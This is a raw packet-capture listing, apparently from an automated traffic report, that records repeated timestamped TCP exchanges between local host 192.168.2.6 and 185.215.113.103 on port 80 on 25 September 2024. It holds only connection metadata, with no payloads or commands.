Sep 25, 2024 10:33:22.347501040 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347517014 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347527027 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347551107 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347562075 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347588062 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347604036 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347630978 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350579977 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350596905 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350613117 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350627899 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350635052 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350652933 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350658894 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350668907 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350686073 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350696087 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350709915 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350716114 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350727081 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350743055 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350748062 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350759029 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350759983 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350778103 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350785017 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350814104 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350872040 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350888014 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350903034 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350917101 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350918055 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350931883 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.350946903 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.350971937 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.354219913 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.354254007 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.354266882 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.354278088 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.354283094 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.354312897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.354330063 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610546112 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610615969 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610651970 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610687971 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610729933 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610797882 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610816002 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610816002 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610816002 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610816002 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610850096 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610850096 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610852003 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610888958 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610903025 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610922098 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610939026 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.610958099 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.610972881 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611006021 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611012936 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611058950 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611064911 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611114025 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611114025 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611157894 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611166954 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611197948 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611206055 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611232996 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611243963 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611279964 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611283064 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611315966 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611325979 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611347914 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611360073 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611392021 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.611408949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.611454964 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612097025 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612148046 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612155914 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612200022 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612207890 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612241983 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612247944 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612274885 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612289906 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612308979 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612322092 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612343073 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612351894 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612377882 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612386942 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612412930 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612423897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612452030 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612458944 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612485886 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612508059 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612519026 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612548113 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612554073 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612561941 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612587929 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612592936 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612622976 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.612629890 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.612728119 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613075972 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613111019 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613123894 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613148928 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613152027 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613185883 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613197088 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613219976 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613226891 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613255024 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613270998 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613287926 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613292933 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613322973 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613339901 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613358974 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613363981 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613394976 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613399029 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613426924 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613428116 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613461018 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613461018 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613495111 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613502979 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613528013 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613537073 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613559008 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613569975 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613599062 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613600016 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613631964 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613646030 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613666058 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613682032 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613715887 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613728046 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613749027 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613749981 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613794088 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613800049 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613833904 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613843918 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613867044 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613873005 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613899946 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613904953 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613933086 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613940001 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.613966942 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.613971949 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614001036 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614007950 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614033937 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614039898 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614068031 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614074945 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614104033 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614109039 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614140034 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614150047 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614173889 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614181042 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614207029 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614224911 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614240885 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614245892 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614273071 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614284992 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614306927 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614315987 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614341021 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614351034 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614372015 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614383936 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614404917 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614430904 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614439964 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614444971 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614474058 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614479065 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614507914 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614520073 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614541054 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614547014 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614573956 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614590883 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614623070 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614623070 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614665031 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614669085 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614701033 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614703894 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614729881 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614741087 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614763975 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614768982 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614799023 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614806890 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614831924 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614840031 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614866018 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614873886 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614898920 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614903927 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614933014 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614938974 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.614967108 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.614975929 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615000010 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615006924 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615036011 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615039110 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615068913 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615076065 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615103960 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615108013 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615137100 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615148067 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615170002 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615176916 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615206957 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615210056 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615242958 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615252972 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615276098 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615286112 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615309954 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615317106 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615344048 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615351915 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615379095 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615389109 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615422964 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615430117 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615463018 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615478992 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615497112 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615505934 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615530014 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615534067 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615564108 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615582943 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615597963 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615603924 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615637064 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615637064 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615669966 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615690947 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615704060 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615708113 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615737915 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615740061 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615775108 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615784883 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615809917 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615818977 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615844011 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615848064 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615879059 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615885019 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615912914 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615917921 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615946054 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615952015 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.615979910 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.615988970 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616014004 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616022110 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616051912 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616067886 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616085052 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616090059 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616118908 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616127014 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616152048 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616157055 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616184950 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616192102 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616219044 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616225958 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616252899 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616264105 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616286039 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616292953 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616318941 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616338015 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616352081 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616360903 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616389990 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616395950 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616425037 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616456032 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616460085 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616478920 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616492033 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.616498947 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.616566896 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.622970104 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.622992039 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623002052 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623059034 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623074055 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623087883 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623101950 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623106956 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623146057 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623162031 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623163939 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623177052 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623193026 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623203039 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623208046 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623219013 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623224020 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623239040 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623240948 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623254061 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.623256922 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.623291016 CEST	64681	80	192.168.2.6	185.215.113.103
